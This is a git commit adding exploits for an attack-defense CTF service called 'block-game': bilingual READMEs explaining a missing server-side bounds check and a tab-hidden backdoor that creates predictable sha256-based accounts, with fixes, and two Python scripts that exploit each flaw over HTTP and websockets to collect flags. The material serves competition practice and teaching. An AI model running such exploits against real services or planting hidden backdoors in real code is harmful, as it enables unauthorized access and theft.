adding validated services? patching forcad_local.py
This commit is contained in:
20
OmCTF-2025/sploits/block-game/README.RU.md
Normal file
20
OmCTF-2025/sploits/block-game/README.RU.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Эксплойт 1
|
||||
|
||||
Флагстор 1. Непроходимые уровни (их награды)
|
||||
|
||||
Уязвимость: В функции MoveOutOfWay отсутствует проверка границ (проверка выполняется на стороне клиента). Уровни можно пройти, выйдя за пределы карты.
|
||||
|
||||
Исправление: Добавить проверку границ в функцию MoveOutOfWay:
|
||||
```Go
|
||||
if p.X < 0 || p.Y < 0 || p.X >= sess.Tiles.size || p.Y >= sess.Tiles.size {
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
# Эксплойт 2
|
||||
|
||||
Флагстор 2. Приватные уровни (их награды)
|
||||
|
||||
Уязвимость: Бэкдор в функции Level.CreateFrom (спрятан в шаблоне с множеством табуляций, в результате чего он оказывается вне экрана). Он создаёт пользователя с именем и паролем, равными `sha256(level_name)[:32]`, которым затем можно воспользоваться для доступа к уровню и флагу.
|
||||
|
||||
Исправление: удалить бэкдор из `create_from.tmpl` и регенерировать код ИЛИ удалить его напрямую из `create_from.go`.
|
||||
20
OmCTF-2025/sploits/block-game/README.md
Normal file
20
OmCTF-2025/sploits/block-game/README.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Sploit 1
|
||||
|
||||
Flagstore 1. Unbeatable levels (their prizes)
|
||||
|
||||
Vulnerability: No bounds check in the MoveOutOfWay function (checked on the client side). The levels are beatable by going out of bounds.
|
||||
|
||||
Fix: Add bounds check in the MoveOutOfWay function:
|
||||
```Go
|
||||
if p.X < 0 || p.Y < 0 || p.X >= sess.Tiles.size || p.Y >= sess.Tiles.size {
|
||||
return false
|
||||
}
|
||||
```
|
||||
|
||||
# Sploit 2
|
||||
|
||||
Flagstore 2. Private levels (their prizes)
|
||||
|
||||
Vulnerability: Backdoor in the Level.CreateFrom function (hidden in the template with a bunch of tabs which get it out of the screen). It creates a user with name and password both equal to `sha256(level_name)[:32]`, which can then be used to access the level and the flag.
|
||||
|
||||
Fix: remove the backdoor code from `create_from.tmpl` and regenerate OR remove it directly from `create_from.go`.
|
||||
2
OmCTF-2025/sploits/block-game/requirements.txt
Normal file
2
OmCTF-2025/sploits/block-game/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
requests
|
||||
websockets
|
||||
56
OmCTF-2025/sploits/block-game/sploit1.py
Normal file
56
OmCTF-2025/sploits/block-game/sploit1.py
Normal file
@@ -0,0 +1,56 @@
|
||||
import json
|
||||
from secrets import token_hex
|
||||
import sys
|
||||
import requests
|
||||
from requests.cookies import get_cookie_header
|
||||
from websockets.sync.client import connect
|
||||
|
||||
|
||||
def connect_with_auth(sess: requests.Session, url):
|
||||
cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
|
||||
return connect(url, additional_headers={"Cookie": cookie_value})
|
||||
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
sess = requests.Session()
|
||||
|
||||
r = sess.post(f"http://{ip}:5874/api/auth/register", json={
|
||||
"username": token_hex(8),
|
||||
"password": token_hex(8)
|
||||
})
|
||||
assert r.ok, r.text
|
||||
|
||||
r = sess.get("http://localhost/api/client/attack_data/")
|
||||
assert r.ok, r.text
|
||||
|
||||
flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
|
||||
|
||||
level_names = [json.loads(s)["level_name"] for s in flag_ids]
|
||||
|
||||
|
||||
def get_one(name):
|
||||
r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
|
||||
assert r.ok, r.text
|
||||
level_id = r.json()["id"]
|
||||
|
||||
with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
|
||||
for _ in range(4):
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
|
||||
for _ in range(4):
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
|
||||
for _ in range(4):
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
|
||||
while True:
|
||||
m = json.loads(sock.recv(1))
|
||||
if m["type"] == "level_complete":
|
||||
print(m["option"]["prize"])
|
||||
break
|
||||
|
||||
|
||||
for name in level_names:
|
||||
try:
|
||||
get_one(name)
|
||||
except Exception as e:
|
||||
print(name, e)
|
||||
68
OmCTF-2025/sploits/block-game/sploit2.py
Normal file
68
OmCTF-2025/sploits/block-game/sploit2.py
Normal file
@@ -0,0 +1,68 @@
|
||||
import hashlib
|
||||
import json
|
||||
import sys
|
||||
import requests
|
||||
from requests.cookies import get_cookie_header
|
||||
from websockets.sync.client import connect
|
||||
|
||||
|
||||
def connect_with_auth(sess: requests.Session, url):
|
||||
cookie_value = get_cookie_header(sess.cookies, requests.Request("GET", url.replace("ws://", "http://")))
|
||||
return connect(url, additional_headers={"Cookie": cookie_value})
|
||||
|
||||
|
||||
ip = sys.argv[1]
|
||||
|
||||
sess = requests.Session()
|
||||
|
||||
|
||||
r = sess.get("http://localhost/api/client/attack_data/")
|
||||
assert r.ok, r.text
|
||||
|
||||
flag_ids = r.json()["test_basic_service"]["host.docker.internal"]
|
||||
|
||||
level_names = [json.loads(s)["level_name"] for s in flag_ids]
|
||||
|
||||
def get_one(name: str):
|
||||
hash = hashlib.sha256(name.encode()).hexdigest()
|
||||
r = sess.post(f"http://{ip}:5874/api/auth/login", json={
|
||||
"username": hash[:32],
|
||||
"password": hash[:32]
|
||||
})
|
||||
assert r.ok, r.text
|
||||
r = sess.get(f"http://{ip}:5874/api/user/level", params={"name": name})
|
||||
assert r.ok, r.text
|
||||
level_id = r.json()["id"]
|
||||
|
||||
r = sess.get(f"http://{ip}:5874/api/user/level/{level_id}")
|
||||
assert r.ok, r.text
|
||||
tiles = r.json()["data"]["tiles"]
|
||||
assert len(tiles) == 2, "lol"
|
||||
px, py = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "player")
|
||||
ex, ey = next((tile["pos"]["x"], tile["pos"]["y"]) for tile in tiles if tile["kind"] == "exit")
|
||||
|
||||
with connect_with_auth(sess, f"ws://{ip}:5874/api/user/level/{level_id}/play") as sock:
|
||||
while py > ey:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "up"}}))
|
||||
py -= 1
|
||||
while px < ex:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "right"}}))
|
||||
px += 1
|
||||
while py < ey:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "down"}}))
|
||||
py += 1
|
||||
while px > ex:
|
||||
sock.send(json.dumps({"type": "move", "option": {"direction": "left"}}))
|
||||
px -= 1
|
||||
while True:
|
||||
m = json.loads(sock.recv(1))
|
||||
if m["type"] == "level_complete":
|
||||
print(m["option"]["prize"])
|
||||
break
|
||||
|
||||
|
||||
for name in level_names:
|
||||
try:
|
||||
get_one(name)
|
||||
except Exception as e:
|
||||
print(name, e)
|
||||
Reference in New Issue
Block a user